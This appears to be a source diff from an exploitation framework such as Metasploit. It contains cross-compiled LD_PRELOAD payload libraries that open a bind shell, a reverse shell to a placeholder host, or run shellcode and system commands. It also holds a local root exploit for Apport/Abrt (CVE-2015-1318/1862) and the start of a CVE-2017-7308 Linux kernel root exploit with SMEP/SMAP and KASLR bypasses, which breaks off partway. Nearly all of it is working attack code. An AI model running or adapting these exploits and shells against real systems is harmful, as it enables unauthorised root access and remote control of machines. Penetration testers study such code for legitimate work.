build "mips-linux-gnu-gcc-5" "linux-glibc-mips" "-D OLD_LIB_SET_1"
|
||||
build "mipsel-linux-gnu-gcc-5" "linux-glibc-mipsel" "-D OLD_LIB_SET_1"
|
||||
build "mips64-linux-gnuabi64-gcc-5" "linux-glibc-mips64" "-D OLD_LIB_SET_1"
|
||||
build "mips64el-linux-gnuabi64-gcc-5" "linux-glibc-mips64el" "-D OLD_LIB_SET_1"
|
||||
|
||||
# SPARC
|
||||
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc64" ""
|
||||
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc" "-m32 -D OLD_LIB_SET_1"
|
||||
|
||||
# PowerPC
|
||||
build "powerpc-linux-gnu-gcc-5" "linux-glibc-powerpc" "-D OLD_LIB_SET_1"
|
||||
build "powerpc64-linux-gnu-gcc-5" "linux-glibc-powerpc64" ""
|
||||
build "powerpc64le-linux-gnu-gcc-4.9" "linux-glibc-powerpc64le" ""
|
||||
|
||||
# S390X
|
||||
build "s390x-linux-gnu-gcc-5" "linux-glibc-s390x" ""
|
||||
|
||||
gzip -9 *.so
|
||||
rm -f *.o *.so
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,96 @@
|
||||
#include <arpa/inet.h>
|
||||
#include <netdb.h>
|
||||
#include <netinet/in.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver system,system@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver system,system@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
static void _bind_tcp_shell(void) {
|
||||
|
||||
int sfd, fd, i;
|
||||
struct sockaddr_in addr,saddr;
|
||||
unsigned int saddr_len = sizeof(struct sockaddr_in);
|
||||
|
||||
char *lport = "55555";
|
||||
char *shells[] = {
|
||||
"/bin/bash",
|
||||
"/usr/bin/bash",
|
||||
"/bin/sh",
|
||||
"/usr/bin/sh",
|
||||
"/bin/ash",
|
||||
"/usr/bin/ash",
|
||||
"/bin/dash",
|
||||
"/usr/bin/dash",
|
||||
"/bin/csh",
|
||||
"/usr/bin/csh",
|
||||
"/bin/ksh",
|
||||
"/usr/bin/ksh",
|
||||
"/bin/busybox",
|
||||
"/usr/bin/busybox",
|
||||
NULL
|
||||
};
|
||||
|
||||
sfd = socket(AF_INET, SOCK_STREAM, 0);
|
||||
setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int));
|
||||
|
||||
saddr.sin_family = AF_INET;
|
||||
saddr.sin_port = htons(atoi(lport));
|
||||
saddr.sin_addr.s_addr = INADDR_ANY;
|
||||
bzero(&saddr.sin_zero, 8);
|
||||
|
||||
if (bind(sfd, (struct sockaddr *) &saddr, saddr_len) == -1) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (listen(sfd, 5) == -1) {
|
||||
close(sfd);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
fd = accept(sfd, (struct sockaddr *) &addr, &saddr_len);
|
||||
close(sfd);
|
||||
|
||||
if (fd == -1) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
for (i=0; i<3; i++) {
|
||||
dup2(fd, i);
|
||||
}
|
||||
|
||||
/* Keep trying until execl() succeeds */
|
||||
for (i=0; ; i++) {
|
||||
if (shells[i] == NULL) break;
|
||||
execl(shells[i], "sh", NULL);
|
||||
}
|
||||
|
||||
/* Close the connection if we failed to find a shell */
|
||||
close(fd);
|
||||
}
|
||||
|
||||
static void _run_payload_(void) __attribute__((constructor));
|
||||
|
||||
static void _run_payload_(void)
|
||||
{
|
||||
unsetenv("LD_PRELOAD");
|
||||
if (! fork())
|
||||
_bind_tcp_shell();
|
||||
|
||||
exit(0);
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,84 @@
|
||||
#include <arpa/inet.h>
|
||||
#include <netdb.h>
|
||||
#include <netinet/in.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver system,system@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver system,system@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
static void _reverse_tcp_shell(void) {
|
||||
|
||||
int fd, i;
|
||||
struct sockaddr_in addr;
|
||||
char *lport = "55555";
|
||||
char *lhost = "000.000.000.000";
|
||||
char *shells[] = {
|
||||
"/bin/bash",
|
||||
"/usr/bin/bash",
|
||||
"/bin/sh",
|
||||
"/usr/bin/sh",
|
||||
"/bin/ash",
|
||||
"/usr/bin/ash",
|
||||
"/bin/dash",
|
||||
"/usr/bin/dash",
|
||||
"/bin/csh",
|
||||
"/usr/bin/csh",
|
||||
"/bin/ksh",
|
||||
"/usr/bin/ksh",
|
||||
"/bin/busybox",
|
||||
"/usr/bin/busybox",
|
||||
NULL
|
||||
};
|
||||
|
||||
fd = socket(PF_INET, SOCK_STREAM, 0);
|
||||
addr.sin_port = htons(atoi(lport));
|
||||
addr.sin_addr.s_addr = inet_addr(lhost);
|
||||
addr.sin_family = AF_INET;
|
||||
|
||||
memset(addr.sin_zero, 0, sizeof(addr.sin_zero));
|
||||
|
||||
for (i=0; i<10; i++) {
|
||||
if (! connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr))) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
for (i=0; i<3; i++) {
|
||||
dup2(fd, i);
|
||||
}
|
||||
|
||||
/* Keep trying until execl() succeeds */
|
||||
for (i=0; ; i++) {
|
||||
if (shells[i] == NULL) break;
|
||||
execl(shells[i], "sh", NULL);
|
||||
}
|
||||
|
||||
/* Close the connection if we failed to find a shell */
|
||||
close(fd);
|
||||
}
|
||||
|
||||
static void _run_payload_(void) __attribute__((constructor));
|
||||
|
||||
static void _run_payload_(void)
|
||||
{
|
||||
unsetenv("LD_PRELOAD");
|
||||
if (! fork())
|
||||
_reverse_tcp_shell();
|
||||
|
||||
exit(0);
|
||||
}
|
||||
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
@@ -0,0 +1,44 @@
|
||||
#include <stdio.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <signal.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver mmap,mmap@GLIBC_2.0");
|
||||
__asm__(".symver memcpy,memcpy@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver mmap,mmap@GLIBC_2.2.5");
|
||||
__asm__(".symver memcpy,memcpy@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
#define PAYLOAD_SIZE 5000
|
||||
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
|
||||
|
||||
static void _run_payload_(void) __attribute__((constructor));
|
||||
|
||||
static void _run_payload_(void)
|
||||
{
|
||||
void *mem;
|
||||
void (*fn)();
|
||||
|
||||
unsetenv("LD_PRELOAD");
|
||||
|
||||
mem = mmap(NULL, PAYLOAD_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
|
||||
if (mem == MAP_FAILED)
|
||||
return;
|
||||
|
||||
memcpy(mem, payload, PAYLOAD_SIZE);
|
||||
fn = (void(*)())mem;
|
||||
|
||||
if (! fork())
|
||||
fn();
|
||||
|
||||
exit(0);
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,32 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver system,system@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver system,system@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
#define PAYLOAD_SIZE 5000
|
||||
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
|
||||
|
||||
static void _run_payload_(void) __attribute__((constructor));
|
||||
|
||||
static void _run_payload_(void)
|
||||
{
|
||||
int dummy = 0;
|
||||
unsetenv("LD_PRELOAD");
|
||||
if (! fork())
|
||||
dummy = system((const char*)payload);
|
||||
|
||||
exit(dummy);
|
||||
}
|
||||
Executable
+21
@@ -0,0 +1,21 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Assume x86_64 Ubuntu 16.04 base system
|
||||
apt-get install build-essential \
|
||||
gcc-5-multilib \
|
||||
gcc-5-multilib-arm-linux-gnueabi \
|
||||
gcc-5-multilib-arm-linux-gnueabihf \
|
||||
gcc-5-multilib-mips-linux-gnu \
|
||||
gcc-5-multilib-mips64-linux-gnuabi64 \
|
||||
gcc-5-multilib-mips64el-linux-gnuabi64 \
|
||||
gcc-5-multilib-mipsel-linux-gnu \
|
||||
gcc-5-multilib-powerpc-linux-gnu \
|
||||
gcc-5-multilib-powerpc64-linux-gnu \
|
||||
gcc-5-multilib-s390x-linux-gnu \
|
||||
gcc-5-multilib-sparc64-linux-gnu \
|
||||
gcc-4.9-powerpc64le-linux-gnu \
|
||||
gcc-4.9-aarch64-linux-gnu
|
||||
|
||||
if [ ! -e /usr/include/asm ];
|
||||
then ln -sf /usr/include/asm-generic /usr/include/asm
|
||||
fi
|
||||
Binary file not shown.
@@ -0,0 +1,143 @@
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <signal.h>
|
||||
#include <err.h>
|
||||
#include <syslog.h>
|
||||
#include <sched.h>
|
||||
#include <linux/sched.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
//
|
||||
// Apport/Abrt Vulnerability Demo Exploit.
|
||||
//
|
||||
// Apport: CVE-2015-1318
|
||||
// Abrt: CVE-2015-1862
|
||||
//
|
||||
// -- taviso@cmpxchg8b.com, April 2015.
|
||||
//
|
||||
// $ gcc -static newpid.c
|
||||
// $ ./a.out
|
||||
// uid=0(root) gid=0(root) groups=0(root)
|
||||
// sh-4.3# exit
|
||||
// exit
|
||||
//
|
||||
// Hint: To get libc.a,
|
||||
// yum install glibc-static or apt-get install libc6-dev
|
||||
//
|
||||
|
||||
//
|
||||
// Modified for Metasploit. Original exploit:
|
||||
// - https://www.exploit-db.com/exploits/36746/
|
||||
//
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int status;
|
||||
pid_t wrapper;
|
||||
pid_t init;
|
||||
pid_t subprocess;
|
||||
unsigned i;
|
||||
|
||||
// If we're root, then we've convinced the core handler to run us,
|
||||
// so create a setuid root executable that can be used outside the chroot.
|
||||
if (getuid() == 0) {
|
||||
if (chown("sh", 0, 0) != 0)
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
if (chmod("sh", 04755) != 0)
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
|
||||
// If I'm not root, but euid is 0, then the exploit worked and we can spawn
|
||||
// a shell and cleanup.
|
||||
if (setuid(0) == 0) {
|
||||
system("id");
|
||||
system("rm -rf exploit");
|
||||
execlp("sh", "sh", NULL);
|
||||
|
||||
// Something went wrong.
|
||||
err(EXIT_FAILURE, "failed to spawn root shell, but exploit worked");
|
||||
}
|
||||
|
||||
// It looks like the exploit hasn't run yet, so create a chroot.
|
||||
if (mkdir("exploit", 0755) != 0
|
||||
|| mkdir("exploit/usr", 0755) != 0
|
||||
|| mkdir("exploit/usr/share", 0755) != 0
|
||||
|| mkdir("exploit/usr/share/apport", 0755) != 0
|
||||
|| mkdir("exploit/usr/libexec", 0755) != 0) {
|
||||
err(EXIT_FAILURE, "failed to create chroot directory");
|
||||
}
|
||||
|
||||
// Create links to the exploit locations we need.
|
||||
if (link(*argv, "exploit/sh") != 0
|
||||
|| link(*argv, "exploit/usr/share/apport/apport") != 0 // Ubuntu
|
||||
|| link(*argv, "exploit/usr/libexec/abrt-hook-ccpp") != 0) { // Fedora
|
||||
err(EXIT_FAILURE, "failed to create required hard links");
|
||||
}
|
||||
|
||||
// Create a subprocess so we don't enter the new namespace.
|
||||
if ((wrapper = fork()) == 0) {
|
||||
|
||||
// In the child process, create a new pid and user ns. The pid
|
||||
// namespace is only needed on Ubuntu, because they check for %P != %p
|
||||
// in their core handler. On Fedora, just a user ns is sufficient.
|
||||
if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0)
|
||||
err(EXIT_FAILURE, "failed to create new namespace");
|
||||
|
||||
// Create a process in the new namespace.
|
||||
if ((init = fork()) == 0) {
|
||||
|
||||
// Init (pid 1) signal handling is special, so make a subprocess to
|
||||
// handle the traps.
|
||||
if ((subprocess = fork()) == 0) {
|
||||
// Change /proc/self/root, which we can do as we're privileged
|
||||
// within the new namepace.
|
||||
if (chroot("exploit") != 0) {
|
||||
err(EXIT_FAILURE, "chroot didnt work");
|
||||
}
|
||||
|
||||
// Now trap to get the core handler invoked.
|
||||
__builtin_trap();
|
||||
|
||||
// Shouldn't happen, unless user is ptracing us or something.
|
||||
err(EXIT_FAILURE, "coredump failed, were you ptracing?");
|
||||
}
|
||||
|
||||
// If the subprocess exited with an abnormal signal, then everything worked.
|
||||
if (waitpid(subprocess, &status, 0) == subprocess)
|
||||
return WIFSIGNALED(status)
|
||||
? EXIT_SUCCESS
|
||||
: EXIT_FAILURE;
|
||||
|
||||
// Something didn't work.
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
// The new namespace didn't work.
|
||||
if (waitpid(init, &status, 0) == init)
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS
|
||||
? EXIT_SUCCESS
|
||||
: EXIT_FAILURE;
|
||||
|
||||
// Waitpid failure.
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
// If the subprocess returned sccess, the exploit probably worked,
|
||||
// reload with euid zero.
|
||||
if (waitpid(wrapper, &status, 0) == wrapper) {
|
||||
// All done, spawn root shell.
|
||||
if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
|
||||
execl(*argv, "w00t", NULL);
|
||||
}
|
||||
}
|
||||
|
||||
// Unknown error.
|
||||
errx(EXIT_FAILURE, "unexpected result, cannot continue");
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,792 @@
|
||||
// A proof-of-concept local root exploit for CVE-2017-7308.
|
||||
// Includes a SMEP & SMAP bypass.
|
||||
// Tested on Ubuntu / Linux Mint:
|
||||
// - 4.8.0-34-generic
|
||||
// - 4.8.0-36-generic
|
||||
// - 4.8.0-39-generic
|
||||
// - 4.8.0-41-generic
|
||||
// - 4.8.0-42-generic
|
||||
// - 4.8.0-44-generic
|
||||
// - 4.8.0-45-generic
|
||||
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308
|
||||
//
|
||||
// Usage:
|
||||
// user@ubuntu:~$ uname -a
|
||||
// Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ...
|
||||
// user@ubuntu:~$ gcc pwn.c -o pwn
|
||||
// user@ubuntu:~$ ./pwn
|
||||
// [.] starting
|
||||
// [.] system has 2 processors
|
||||
// [.] checking kernel version
|
||||
// [.] kernel version '4.8.0-41-generic' detected
|
||||
// [~] done, version looks good
|
||||
// [.] checking SMEP and SMAP
|
||||
// [~] done, looks good
|
||||
// [.] setting up namespace sandbox
|
||||
// [~] done, namespace sandbox set up
|
||||
// [.] KASLR bypass enabled, getting kernel addr
|
||||
// [.] done, kernel text: ffffffff87000000
|
||||
// [.] commit_creds: ffffffff870a5cf0
|
||||
// [.] prepare_kernel_cred: ffffffff870a60e0
|
||||
// [.] native_write_cr4: ffffffff87064210
|
||||
// [.] padding heap
|
||||
// [.] done, heap is padded
|
||||
// [.] SMEP & SMAP bypass enabled, turning them off
|
||||
// [.] done, SMEP & SMAP should be off now
|
||||
// [.] executing get root payload 0x401516
|
||||
// [.] done, should be root now
|
||||
// [.] checking if we got root
|
||||
// [+] got r00t ^_^
|
||||
// root@ubuntu:/home/user# cat /etc/shadow
|
||||
// root:!:17246:0:99999:7:::
|
||||
// daemon:*:17212:0:99999:7:::
|
||||
// bin:*:17212:0:99999:7:::
|
||||
// ...
|
||||
//
|
||||
// Andrey Konovalov <andreyknvl@gmail.com>
|
||||
// ---
|
||||
// Updated by <bcoles@gmail.com>
|
||||
// - support for systems with SMEP but no SMAP
|
||||
// - check number of CPU cores
|
||||
// - additional kernel targets
|
||||
// - additional KASLR bypasses
|
||||
// https://github.com/bcoles/kernel-exploits/tree/cve-2017-7308
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <assert.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sched.h>
|
||||
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/klog.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/sysinfo.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/if_packet.h>
|
||||
#include <linux/ip.h>
|
||||
#include <linux/udp.h>
|
||||
#include <netinet/if_ether.h>
|
||||
#include <net/if.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
#define ENABLE_KASLR_BYPASS 1
|
||||
#define ENABLE_SMEP_SMAP_BYPASS 1
|
||||
|
||||
char *SHELL = "/bin/bash";
|
||||
|
||||
// Will be overwritten if ENABLE_KASLR_BYPASS
|
||||
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
|
||||
|
||||
// Will be overwritten by detect_versions().
|
||||
int kernel = -1;
|
||||
|
||||
struct kernel_info {
|
||||
const char* version;
|
||||
uint64_t commit_creds;
|
||||
uint64_t prepare_kernel_cred;
|
||||
uint64_t native_write_cr4;
|
||||
};
|
||||
|
||||
struct kernel_info kernels[] = {
|
||||
{ "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x64210 },
|
||||
{ "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x64210 },
|
||||
{ "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
{ "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
{ "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
{ "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
{ "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
};
|
||||
|
||||
// Used to get root privileges.
|
||||
#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
|
||||
#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
|
||||
#define NATIVE_WRITE_CR4 (KERNEL_BASE + kernels[kernel].native_write_cr4)
|
||||
|
||||
// Will be overwritten if ENABLE_SMEP_SMAP_BYPASS
|
||||
unsigned long CR4_DESIRED_VALUE = 0x406e0ul;
|
||||
|
||||
#define KMALLOC_PAD 512
|
||||
#define PAGEALLOC_PAD 1024
|
||||
|
||||
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
|
||||
|
||||
typedef uint32_t u32;
|
||||
|
||||
// $ pahole -C hlist_node ./vmlinux
|
||||
struct hlist_node {
|
||||
struct hlist_node * next; /* 0 8 */
|
||||
struct hlist_node * * pprev; /* 8 8 */
|
||||
};
|
||||
|
||||
// $ pahole -C timer_list ./vmlinux
|
||||
struct timer_list {
|
||||
struct hlist_node entry; /* 0 16 */
|
||||
long unsigned int expires; /* 16 8 */
|
||||
void (*function)(long unsigned int); /* 24 8 */
|
||||
long unsigned int data; /* 32 8 */
|
||||
u32 flags; /* 40 4 */
|
||||
int start_pid; /* 44 4 */
|
||||
void * start_site; /* 48 8 */
|
||||
char start_comm[16]; /* 56 16 */
|
||||
};
|
||||
|
||||
// packet_sock->rx_ring->prb_bdqc->retire_blk_timer
|
||||
#define TIMER_OFFSET 896
|
||||
|
||||
// pakcet_sock->xmit
|
||||
#define XMIT_OFFSET 1304
|
||||
|
||||
// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *
|
||||
|
||||
void packet_socket_rx_ring_init(int s, unsigned int block_size,
|
||||
unsigned int frame_size, unsigned int block_nr,
|
||||
unsigned int sizeof_priv, unsigned int timeout) {
|
||||
int v = TPACKET_V3;
|
||||
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
|
||||
if (rv < 0) {
|
||||
dprintf("[-] setsockopt(PACKET_VERSION)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
struct tpacket_req3 req;
|
||||
memset(&req, 0, sizeof(req));
|
||||
req.tp_block_size = block_size;
|
||||
req.tp_frame_size = frame_size;
|
||||
req.tp_block_nr = block_nr;
|
||||
req.tp_frame_nr = (block_size * block_nr) / frame_size;
|
||||
req.tp_retire_blk_tov = timeout;
|
||||
req.tp_sizeof_priv = sizeof_priv;
|
||||
req.tp_feature_req_word = 0;
|
||||
|
||||
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
|
||||
if (rv < 0) {
|
||||
dprintf("[-] setsockopt(PACKET_RX_RING)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
|
||||
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
|
||||
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
|
||||
if (s < 0) {
|
||||
dprintf("[-] socket(AF_PACKET)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
|
||||
sizeof_priv, timeout);
|
||||
|
||||
struct sockaddr_ll sa;
|
||||
memset(&sa, 0, sizeof(sa));
|
||||
sa.sll_family = PF_PACKET;
|
||||
sa.sll_protocol = htons(ETH_P_ALL);
|
||||
sa.sll_ifindex = if_nametoindex("lo");
|
||||
sa.sll_hatype = 0;
|
||||
sa.sll_pkttype = 0;
|
||||
sa.sll_halen = 0;
|
||||
|
||||
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
|
||||
if (rv < 0) {
|
||||
dprintf("[-] bind(AF_PACKET)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return s;
|
||||
}
|
||||
|
||||
void packet_socket_send(int s, char *buffer, int size) {
|
||||
struct sockaddr_ll sa;
|
||||
memset(&sa, 0, sizeof(sa));
|
||||
sa.sll_ifindex = if_nametoindex("lo");
|
||||
sa.sll_halen = ETH_ALEN;
|
||||
|
||||
if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
|
||||
sizeof(sa)) < 0) {
|
||||
dprintf("[-] sendto(SOCK_RAW)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void loopback_send(char *buffer, int size) {
|
||||
int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
|
||||
if (s == -1) {
|
||||
dprintf("[-] socket(SOCK_RAW)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
packet_socket_send(s, buffer, size);
|
||||
}
|
||||
|
||||
int packet_sock_kmalloc() {
|
||||
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
|
||||
if (s == -1) {
|
||||
dprintf("[-] socket(SOCK_DGRAM)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
void packet_sock_timer_schedule(int s, int timeout) {
|
||||
packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
|
||||
}
|
||||
|
||||
void packet_sock_id_match_trigger(int s) {
|
||||
char buffer[16];
|
||||
packet_socket_send(s, &buffer[0], sizeof(buffer));
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define ALIGN(x, a) __ALIGN_KERNEL((x), (a))
|
||||
#define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
|
||||
#define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask))
|
||||
|
||||
#define V3_ALIGNMENT (8)
|
||||
#define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))
|
||||
|
||||
#define ETH_HDR_LEN sizeof(struct ethhdr)
|
||||
#define IP_HDR_LEN sizeof(struct iphdr)
|
||||
#define UDP_HDR_LEN sizeof(struct udphdr)
|
||||
|
||||
#define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)
|
||||
|
||||
int oob_setup(int offset) {
|
||||
unsigned int maclen = ETH_HDR_LEN;
|
||||
unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
|
||||
(maclen < 16 ? 16 : maclen));
|
||||
unsigned int macoff = netoff - maclen;
|
||||
unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
|
||||
0x8000 - BLK_HDR_LEN - macoff + offset;
|
||||
return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
|
||||
}
|
||||
|
||||
void oob_write(char *buffer, int size) {
|
||||
loopback_send(buffer, size);
|
||||
}
|
||||
|
||||
void oob_timer_execute(void *func, unsigned long arg) {
|
||||
oob_setup(2048 + TIMER_OFFSET - 8);
|
||||
|
||||
int i;
|
||||
for (i = 0; i < 32; i++) {
|
||||
int timer = packet_sock_kmalloc();
|
||||
packet_sock_timer_schedule(timer, 1000);
|
||||
}
|
||||
|
||||
char buffer[2048];
|
||||
memset(&buffer[0], 0, sizeof(buffer));
|
||||
|
||||
struct timer_list *timer = (struct timer_list *)&buffer[8];
|
||||
timer->function = func;
|
||||
timer->data = arg;
|
||||
timer->flags = 1;
|
||||
|
||||
oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);
|
||||
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
void oob_id_match_execute(void *func) {
|
||||
int s = oob_setup(2048 + XMIT_OFFSET - 64);
|
||||
|
||||
int ps[32];
|
||||
|
||||
int i;
|
||||
for (i = 0; i < 32; i++)
|
||||
ps[i] = packet_sock_kmalloc();
|
||||
|
||||
char buffer[2048];
|
||||
memset(&buffer[0], 0, 2048);
|
||||
|
||||
void **xmit = (void **)&buffer[64];
|
||||
*xmit = func;
|
||||
|
||||
oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);
|
||||
|
||||
for (i = 0; i < 32; i++)
|
||||
packet_sock_id_match_trigger(ps[i]);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *
|
||||
|
||||
